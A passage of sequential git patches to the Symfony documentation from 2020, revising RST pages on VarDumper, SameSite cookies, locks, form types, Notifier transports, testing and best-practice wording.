-         $ VAR_DUMPER_FORMAT=server [your-cli-command]
+Then, run your code with the ``VAR_DUMPER_FORMAT=server`` env var by configuring
+this value in the :ref:`.env file of your application <config-env-vars>`. For
+console commands, you can also define this env var as follows:
 
-    .. tip::
+.. code-block:: terminal
 
-        If your project loads environment variables from a dotenv file, you can set the ``VAR_DUMPER_FORMAT=server``
-        environment variable in there as well.
+    $ VAR_DUMPER_FORMAT=server [your-cli-command]
 
 .. note::
 
-    The host used to contact the server when using the ``server`` format is the one configured by the
-    ``VAR_DUMPER_SERVER`` var or defaults to ``127.0.0.1:9912``.
-    But you can configure the host through the ``VAR_DUMPER_FORMAT=tcp://127.0.0.1:1234`` environment variable as well.
+    The host used by the ``server`` format is the one configured in the
+    ``VAR_DUMPER_SERVER`` env var or ``127.0.0.1:9912`` if none is defined.
+    If you prefer, you can also configure the host in the ``VAR_DUMPER_FORMAT``
+    env var like this: ``VAR_DUMPER_FORMAT=tcp://127.0.0.1:1234``.
 
 DebugBundle and Twig Integration
 --------------------------------

From 9d665a6151db582af2d830dfd621743cc56e7cfe Mon Sep 17 00:00:00 2001
From: Matthew Smeets <m.smeets@performation.com>
Date: Mon, 3 Aug 2020 15:24:08 +0200
Subject: [PATCH 1197/7107] Add SameSite=None documentation

---
 reference/configuration/framework.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 403ae7b8679..4c91436c0da 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1346,6 +1346,10 @@ The possible values for this option are:
 
 * ``null``, use it to disable this protection. Same behavior as in older Symfony
   versions.
+* ``'none'`` (or the ``Cookie::SAMESITE_NONE`` constant), use it to allow 
+  sending of cookies when the HTTP request originated from a different domain 
+  (Previously this was the default behavior of null, but in newer browsers 'lax' 
+  would be applied when the header has not been set)
 * ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never
   send any cookie when the HTTP request is not originated from the same domain.
 * ``'lax'`` (or the ``Cookie::SAMESITE_LAX`` constant), use it to allow sending

From a2f52088cc3ee237bbe507ed23ae717ac931f563 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 16:27:37 +0200
Subject: [PATCH 1198/7107] Tweak

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4c91436c0da..efcdb5d16c5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1348,7 +1348,7 @@ The possible values for this option are:
   versions.
 * ``'none'`` (or the ``Cookie::SAMESITE_NONE`` constant), use it to allow 
   sending of cookies when the HTTP request originated from a different domain 
-  (Previously this was the default behavior of null, but in newer browsers 'lax' 
+  (previously this was the default behavior of null, but in newer browsers ``'lax'``
   would be applied when the header has not been set)
 * ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never
   send any cookie when the HTTP request is not originated from the same domain.

From 03f119a3d156ec7dd137c3a9921d2a06ff7b0f79 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 16:37:42 +0200
Subject: [PATCH 1199/7107] Tweaks

---
 event_dispatcher.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 5f299cd2459..466464287b0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -100,13 +100,17 @@ using a special "tag":
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\EventListener\ExceptionListener;
-        
-        $services = $containerConfigurator->services();
 
-        $services->set(ExceptionListener::class)
-            ->addTag('kernel.event_listener', ['event' => 'kernel.exception'])
-        ;
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(ExceptionListener::class)
+                ->addTag('kernel.event_listener', ['event' => 'kernel.exception'])
+            ;
+        };
 
 Symfony follows this logic to decide which method to call inside the event
 listener class:

From 1f34288888880bbc2be5f00c91dbcf26410bdd56 Mon Sep 17 00:00:00 2001
From: Clayton <claytron5000@users.noreply.github.com>
Date: Fri, 7 Aug 2020 09:28:11 -0400
Subject: [PATCH 1200/7107] Update dev-server.rst

Clarify how the dev-server runs as a proxy for front end assets.
---
 frontend/encore/dev-server.rst | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 4fbb0e1f879..3a602f89b19 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -8,14 +8,15 @@ While developing, instead of using ``yarn encore dev --watch``, you can use the
 
     $ yarn encore dev-server
 
-This serves the built assets from a new server at ``http://localhost:8080`` (it does
-not actually write any files to disk). This means your ``script`` and ``link`` tags
-need to change to point to this.
-
-If you're using the ``encore_entry_script_tags()`` and ``encore_entry_link_tags()``
-Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <load-manifest-files>`
-in some other way), you're done: the paths in your templates will automatically point
-to the dev server.
+This builds and serves the front-end assets from a new server. This server runs at 
+``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``. 
+This server does not actually write the files to disk; instead it servers them from memory, 
+allowing for hot module reloading.
+
+As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the 
+``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are 
+:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way), 
+you're done: the paths in your templates will automatically point to the dev server.
 
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:

From d818b702674b55c511c7efebb227efffa8271184 Mon Sep 17 00:00:00 2001
From: vihuarar <varangoa@gmail.com>
Date: Tue, 7 Apr 2020 10:25:02 -0500
Subject: [PATCH 1201/7107] Update testing.rst

---
 testing.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index c475d82cc8b..85a26910556 100644
--- a/testing.rst
+++ b/testing.rst
@@ -48,8 +48,13 @@ Symfony application.
 
 .. tip::
 
-    Code coverage can be generated with the ``--coverage-*`` options, see the
-    help information that is shown when using ``--help`` for more information.
+    Code coverage can be generated with the ``--coverage-*`` options, see the help information that is shown when using ``--help`` for more information.
+    To avoid the error "No code coverage driver is available" when you are generating code coverage you must install (xdebug, pcov,    phpdbg)
+    To install x-debug type on Ubuntu:
+
+.. code-block:: terminal
+
+    $ sudo apt-get install php-xdebug
 
 .. index::
    single: Tests; Unit tests

From 4e9656ae37bb0fc082cdb73d039995f55baff54a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 16:57:46 +0200
Subject: [PATCH 1202/7107] Add a link to PHPUnit doc

---
 testing.rst | 10 +++-------
 1 file changed, 3 insertions(+), 7 deletions(-)

diff --git a/testing.rst b/testing.rst
index ce54be67afc..98dde991f9a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -48,13 +48,8 @@ Symfony application.
 
 .. tip::
 
-    Code coverage can be generated with the ``--coverage-*`` options, see the help information that is shown when using ``--help`` for more information.
-    To avoid the error "No code coverage driver is available" when you are generating code coverage you must install (xdebug, pcov,    phpdbg)
-    To install x-debug type on Ubuntu:
-
-.. code-block:: terminal
-
-    $ sudo apt-get install php-xdebug
+    Use the ``--coverage-*`` command options to generate code coverage reports.
+    Read the PHPUnit manual to learn more about `code coverage analysis`_.
 
 .. index::
    single: Tests; Unit tests
@@ -1144,3 +1139,4 @@ Learn more
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
 .. _`data providers`: https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers
+.. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html

From 945a879c1d3d0b428d5b0dfb0c2938d80e2b387a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 17:04:47 +0200
Subject: [PATCH 1203/7107] Fixed CI issue

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 51cd799fea6..49d7cc780b4 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1471,8 +1471,8 @@ responses and use it as a callback in functional tests::
 
     namespace App\Tests;
 
-    use Symfony\Contracts\HttpClient\ResponseInterface;
     use Symfony\Component\HttpClient\Response\MockResponse;
+    use Symfony\Contracts\HttpClient\ResponseInterface;
 
     class MockClientCallback
     {

From 9d0312f2a6b8f4c8d30b37fe0ca5a3442b075324 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 7 Aug 2020 19:00:02 -0400
Subject: [PATCH 1204/7107] add note about php-fpm being installed locally

---
 setup/symfony_server.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index ef12d207d4d..58a58ceb091 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -60,6 +60,10 @@ run the Symfony server in the background:
 Enabling PHP-FPM
 ----------------
 
+.. note::
+
+    PHP-FPM must be installed locally for the Symfony server to utilize.
+
 When the server starts it will check for common patterns like ``web/app.php``,
 ``web/app_dev.php`` or ``public/index.php``. If a file like this is found the
 server will automatically start with PHP-FPM enabled. Otherwise the server will

From 84de0dc77713b1448d2fc293f2fa1eb6d8d3fc30 Mon Sep 17 00:00:00 2001
From: Matt Trask <mjftrask@gmail.com>
Date: Tue, 28 Jul 2020 11:00:29 -0500
Subject: [PATCH 1205/7107] [Process] Update process.rst

---
 components/process.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index c7b286fec71..092009a5b40 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -377,10 +377,9 @@ instead::
 Using a Prepared Command Line
 -----------------------------
 
-You can run the process by using a a prepared command line using the
-double bracket notation. You can use a placeholder in order to have a
-process that can only be changed with the values and without changing
-the PHP code::
+You can run a process by using a prepared command line with double quote variable notation. 
+This allows you to use placeholders so that only the parameterized values can be changed, 
+but not the rest of the script:
 
     use Symfony\Component\Process\Process;
 

From 43f5af5d13caeb8ecc3c2a6ac538f17138524c09 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 17:35:27 +0200
Subject: [PATCH 1206/7107] Wrap some long lines

---
 components/process.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index 092009a5b40..527214dca62 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -377,9 +377,9 @@ instead::
 Using a Prepared Command Line
 -----------------------------
 
-You can run a process by using a prepared command line with double quote variable notation. 
-This allows you to use placeholders so that only the parameterized values can be changed, 
-but not the rest of the script:
+You can run a process by using a prepared command line with double quote
+variable notation. This allows you to use placeholders so that only the
+parameterized values can be changed, but not the rest of the script:
 
     use Symfony\Component\Process\Process;
 

From 63edb1820483ab0326ae9a6bcfc79ad25eb47875 Mon Sep 17 00:00:00 2001
From: elghailani <abdellah.elghailani@gmail.com>
Date: Fri, 10 Jul 2020 01:59:03 +0100
Subject: [PATCH 1207/7107] Update best_practices.rst

Improve Environment Variables, Secrets & Functional Test wording
---
 best_practices.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 9afabcb310e..50e5a384b70 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -81,7 +81,7 @@ Configuration
 Use Environment Variables for Infrastructure Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-These are the options that change from one machine to another (e.g. from your
+These are the options that their values changes from one machine to another (e.g. from your
 development machine to the production server) but which don't change the
 application behavior.
 
@@ -92,7 +92,7 @@ Use Secret for Sensitive Information
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When your application has sensitive configuration - like an API key - you should
-store those securely via :doc:`secrets </configuration/secrets>`.
+store those securely via :doc:`Symfony’s secrets management system </configuration/secrets>`.
 
 Use Parameters for Application Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -430,19 +430,19 @@ functional test that checks that all application URLs load successfully::
     }
 
 Add this test while creating your application because it requires little effort
-and checks that none of your pages returns an error. Later you'll add more
+and checks that none of your pages returns an error. Later, you'll add more
 specific tests for each page.
 
 Hardcode URLs in a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In Symfony applications it's recommended to :ref:`generate URLs <routing-generating-urls>`
+In Symfony applications, it's recommended to :ref:`generate URLs <routing-generating-urls>`
 using routes to automatically update all links when a URL changes. However, if a
 public URL changes, users won't be able to browse it unless you set up a
 redirection to the new URL.
 
 That's why it's recommended to use raw URLs in tests instead of generating them
-from routes. Whenever a route changes, tests will break and you'll know that
+from routes. Whenever a route changes, tests will fail and you'll know that
 you must set up a redirection.
 
 .. _`Symfony Demo`: https://github.com/symfony/demo

From 66790920fa6b783fcb2c60d9af2283b401322d1a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 17:44:22 +0200
Subject: [PATCH 1208/7107] Tweak

---
 best_practices.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 50e5a384b70..a0a08c46f6c 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -81,8 +81,8 @@ Configuration
 Use Environment Variables for Infrastructure Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-These are the options that their values changes from one machine to another (e.g. from your
-development machine to the production server) but which don't change the
+The values of these options change from one machine to another (e.g. from your
+development machine to the production server) but they don't modify the
 application behavior.
 
 :ref:`Use env vars in your project <config-env-vars>` to define these options

From ad74f8b517a35466e1d289070dc1da23508306a3 Mon Sep 17 00:00:00 2001
From: elghailani <abdellah.elghailani@gmail.com>
Date: Fri, 10 Jul 2020 02:17:16 +0100
Subject: [PATCH 1209/7107] Update best_practices.rst

---
 best_practices.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index a0a08c46f6c..71ee3b046df 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -307,7 +307,7 @@ Define Validation Constraints on the Underlying Object
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Attaching :doc:`validation constraints </reference/constraints>` to form fields
-instead of to the mapped object prevents the validation from being reused in
+instead of to the mapped object prevents the validation from being checked in
 other forms or other places where the object is used.
 
 .. _best-practice-handle-form:
@@ -318,7 +318,7 @@ Use a Single Action to Render and Process the Form
 :ref:`Rendering forms <rendering-forms>` and :ref:`processing forms <processing-forms>`
 are two of the main tasks when handling forms. Both are too similar (most of the
 times, almost identical), so it's much simpler to let a single controller action
-handle everything.
+handle both.
 
 Internationalization
 --------------------
@@ -327,8 +327,8 @@ Use the XLIFF Format for Your Translation Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Of all the translation formats supported by Symfony (PHP, Qt, ``.po``, ``.mo``,
-JSON, CSV, INI, etc.) XLIFF and gettext have the best support in the tools used
-by professional translators. And since it's based on XML, you can validate XLIFF
+JSON, CSV, INI, etc.), ``XLIFF`` and ``gettext`` have the best support in the tools used
+by professional translators. And since it's based on XML, you can validate ``XLIFF``
 file contents as you write them.
 
 Symfony also supports notes in XLIFF files, making them more user-friendly for

From f7066fb6395f9b09d48a0a100c4039a37efc1a34 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Sep 2020 17:47:41 +0200
Subject: [PATCH 1210/7107] Tweak

---
 best_practices.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/best_practices.rst b/best_practices.rst
index 71ee3b046df..02434a7c812 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -307,7 +307,7 @@ Define Validation Constraints on the Underlying Object
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Attaching :doc:`validation constraints </reference/constraints>` to form fields
-instead of to the mapped object prevents the validation from being checked in
+instead of to the mapped object prevents the validation from being reused in
 other forms or other places where the object is used.
 
 .. _best-practice-handle-form:

From 517cbc0378fd38db07444e6caf7e36c0c4099281 Mon Sep 17 00:00:00 2001
From: Steve Grunwell <steve@stevegrunwell.com>
Date: Fri, 25 Sep 2020 15:23:57 -0400
Subject: [PATCH 1211/7107] Document the SYMFONY_MAX_PHPUNIT_VERSION
 environment variable

This documentation corresponds with symfony/symfony#38305.
---
 components/phpunit_bridge.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 2e824973354..dba2d4b9e4e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -876,6 +876,10 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     It's also possible to set ``SYMFONY_PHPUNIT_VERSION`` as a real env var
     (not defined in a :ref:`dotenv file <config-dot-env>`).
 
+    In the same way, ``SYMFONY_MAX_PHPUNIT_VERSION`` will set the maximum version
+    of PHPUnit to be considered. This  is useful when testing a framework that does
+    not support the latest version(s) of PHPUnit.
+
 .. tip::
 
     If you still need to use ``prophecy`` (but not ``symfony/yaml``),

From d36ccd4c4432b75eea976cc92902e071ce682daf Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 27 Sep 2020 12:06:24 +0200
Subject: [PATCH 1212/7107] Update http_client.rst

"contents" -> "content", for consistency with the other code blocks
---
 http_client.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 67ad0efb527..ce2b7a8481c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -360,9 +360,9 @@ immediately instead of waiting to receive the response::
     // getting the response headers waits until they arrive
     $contentType = $response->getHeaders()['content-type'][0];
 
-    // trying to get the response contents will block the execution until
-    // the full response contents are received
-    $contents = $response->getContent();
+    // trying to get the response content will block the execution until
+    // the full response content is received
+    $content = $response->getContent();
 
 This component also supports :ref:`streaming responses <http-client-streaming-responses>`
 for full asynchronous applications.

From 24b9aeba8f108a10e2900bbfc18725d85f17e5ce Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@northern.co>
Date: Sun, 27 Sep 2020 10:45:10 -0400
Subject: [PATCH 1213/7107] Change translatable example parameter key

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 1c667e2e3ca..238e80ee38c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -316,7 +316,7 @@ all the information needed to fully translate its contents when needed::
     $message = new Translatable('Symfony is great!');
     // the optional second argument defines the translation parameters and
     // the optional third argument is the translation domain
-    $status = new Translatable('order.status', ['order' => $order], 'store');
+    $status = new Translatable('order.status', ['%status%' => $order->getStatus()], 'store');
 
 Templates are now much simpler because you can pass translatable objects to the
 ``trans`` filter:

From bebcc58191dd515e5590bf8c887d53c3a7ed7421 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Mon, 28 Sep 2020 15:47:15 +0200
Subject: [PATCH 1214/7107] Add documentation about fallback logic in lock

---
 components/lock.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index c0f20586e6d..245aaa1de65 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -90,6 +90,18 @@ they can be decorated with the ``RetryTillSaveStore`` class::
     $lock = $factory->createLock('notification-flush');
     $lock->acquire(true);
 
+When the provided store does not implements the
+:class:`Symfony\\Component\\Lock\\BlockingStoreInterface` interface, the
+``Lock`` class will try in a loop to acquire the lock in a non-blocking way
+until the lock is acquired.
+
+.. deprecated:: 5.2
+
+    As of Symfony 5.2, you don't need anymore using the ``RetryTillSaveStore``
+    class. The ``Lock`` class now provides the default logic to acquire locks in
+    blocking mode when the store does not implements the ``BlockingStoreInterface``
+    interface.
+
 Expiring Locks
 --------------
 
@@ -213,6 +225,11 @@ possible to **promote** the lock, and change it to write lock, by calling the
 In the same way, it's possible to **demote** a write lock, and change it to a
 read-only lock by calling the ``acquireRead()`` method.
 
+When the provided store does not implements the
+:class:`Symfony\\Component\\Lock\\SharedLockStoreInterface` interface, the
+``Lock`` class will fallback to a write lock by calling the ``acquire()``
+method.
+
 The Owner of The Lock
 ---------------------
 

From d8fc70d486f3ca492661dc05c1b368ac82980bc1 Mon Sep 17 00:00:00 2001
From: Romaric Drigon <romaric.drigon@asitvd.ch>
Date: Mon, 28 Sep 2020 17:43:11 +0200
Subject: [PATCH 1215/7107] [Form] Added documentation for "html5" option of
 MoneyType and PercentType

---
 reference/forms/types/money.rst   | 16 ++++++++++++++++
 reference/forms/types/percent.rst | 14 +++++++++++++-
 2 files changed, 29 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 9fd1d4a95f4..5952ba77b67 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -17,6 +17,7 @@ how the input and output of the data is handled.
 | Options     | - `currency`_                                                       |
 |             | - `divisor`_                                                        |
 |             | - `grouping`_                                                       |
+|             | - `html5`_                                                          |
 |             | - `rounding_mode`_                                                  |
 |             | - `scale`_                                                          |
 +-------------+---------------------------------------------------------------------+
@@ -90,6 +91,21 @@ be set back on your object.
 
 .. include:: /reference/forms/types/options/rounding_mode.rst.inc
 
+html5
+~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.2
+
+    This option was introduced in Symfony 5.2.
+
+If set to true, the HTML input will be rendered as a native HTML5 type="number" form.
+
+.. caution::
+
+    As HTML5 number format is normalized, it is incompatible with ``grouping`` option.
+
 scale
 ~~~~~
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index ca6c1c2e456..e35d54a022b 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -15,7 +15,8 @@ the input.
 +-------------+-----------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                              |
 +-------------+-----------------------------------------------------------------------+
-| Options     | - `rounding_mode`_                                                    |
+| Options     | - `html5`_                                                            |
+|             | - `rounding_mode`_                                                    |
 |             | - `scale`_                                                            |
 |             | - `symbol`_                                                           |
 |             | - `type`_                                                             |
@@ -57,6 +58,17 @@ Field Options
 
     The ``rounding_mode`` option was introduced in Symfony 5.1.
 
+html5
+~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.2
+
+    This option was introduced in Symfony 5.2.
+
+If set to true, the HTML input will be rendered as a native HTML5 type="number" form.
+
 scale
 ~~~~~
 

From 3b72df9b9b2cbf2daf7b815f206ccde3cb9d7016 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 29 Sep 2020 11:43:55 +0200
Subject: [PATCH 1216/7107] Fix: Build

---
 reference/forms/types/timezone.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 6f3f137049a..d88c58cdaff 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -26,7 +26,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+------------------------------------------------------------------------+
 | Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
 | options     |                                                                        |
-|             | - `choice_translation_domain`_                                         |
 |             | - `expanded`_                                                          |
 |             | - `multiple`_                                                          |
 |             | - `placeholder`_                                                       |

From 6cf85e0c0d0d3557904719568757e32b974cd3cc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 29 Sep 2020 11:43:55 +0200
Subject: [PATCH 1217/7107] Fix: Build

---
 reference/forms/types/timezone.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 6f3f137049a..1cdba0d5d78 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -26,7 +26,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+------------------------------------------------------------------------+
 | Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
 | options     |                                                                        |
-|             | - `choice_translation_domain`_                                         |
 |             | - `expanded`_                                                          |
 |             | - `multiple`_                                                          |
 |             | - `placeholder`_                                                       |
@@ -133,8 +132,6 @@ Inherited Options
 
 These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
 
-.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
-
 .. include:: /reference/forms/types/options/expanded.rst.inc
 
 .. include:: /reference/forms/types/options/multiple.rst.inc

From c0ce045e61b9df49c8ad9ef4cbc90a3737f849e4 Mon Sep 17 00:00:00 2001
From: drixs6o9 <yann.lucas@outlook.com>
Date: Tue, 29 Sep 2020 09:38:40 +0200
Subject: [PATCH 1218/7107] [Notifier] Added Sendinblue bridge documentation

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 9d0b5148553..ab45707d306 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -63,6 +63,7 @@ Infobip     ``symfony/infobip-notifier``      ``infobip://TOKEN@default?from=FRO
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 OvhCloud    ``symfony/ovhcloud-notifier``     ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+Sendinblue  ``symfony/sendinblue-notifier``   ``sendinblue://API_KEY@default?sender=PHONE``
 Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 Smsapi      ``symfony/smsapi-notifier``       ``smsapi://TOKEN@default?from=FROM``
 Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
@@ -74,7 +75,7 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.2
 
-    The Smsapi, Infobip, Mobyt and Esendex integrations were introduced in Symfony 5.2.
+    The Smsapi, Infobip, Mobyt, Esendex and Sendinblue integrations were introduced in Symfony 5.2.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 48b4756aa00778a99a009a500faaf17684cec691 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Sep 2020 17:27:00 +0200
Subject: [PATCH 1219/7107] Tweaks

---
 components/lock.rst | 19 +++++++++----------
 1 file changed, 9 insertions(+), 10 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 245aaa1de65..b9044baefca 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -90,17 +90,17 @@ they can be decorated with the ``RetryTillSaveStore`` class::
     $lock = $factory->createLock('notification-flush');
     $lock->acquire(true);
 
-When the provided store does not implements the
+When the provided store does not implement the
 :class:`Symfony\\Component\\Lock\\BlockingStoreInterface` interface, the
-``Lock`` class will try in a loop to acquire the lock in a non-blocking way
-until the lock is acquired.
+``Lock`` class will retry to acquire the lock in a non-blocking way until the
+lock is acquired.
 
 .. deprecated:: 5.2
 
-    As of Symfony 5.2, you don't need anymore using the ``RetryTillSaveStore``
-    class. The ``Lock`` class now provides the default logic to acquire locks in
-    blocking mode when the store does not implements the ``BlockingStoreInterface``
-    interface.
+    As of Symfony 5.2, you don't need to use the ``RetryTillSaveStore`` class
+    anymore. The ``Lock`` class now provides the default logic to acquire locks
+    in blocking mode when the store does not implement the
+    ``BlockingStoreInterface`` interface.
 
 Expiring Locks
 --------------
@@ -225,10 +225,9 @@ possible to **promote** the lock, and change it to write lock, by calling the
 In the same way, it's possible to **demote** a write lock, and change it to a
 read-only lock by calling the ``acquireRead()`` method.
 
-When the provided store does not implements the
+When the provided store does not implement the
 :class:`Symfony\\Component\\Lock\\SharedLockStoreInterface` interface, the
-``Lock`` class will fallback to a write lock by calling the ``acquire()``
-method.
+``Lock`` class will fallback to a write lock by calling the ``acquire()`` method.
 
 The Owner of The Lock
 ---------------------

From 90dc304c64a71e3d039767f5f660378664d6276a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Sep 2020 17:38:21 +0200
Subject: [PATCH 1220/7107] Tweaks

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index ce2b7a8481c..1112743d4f0 100644
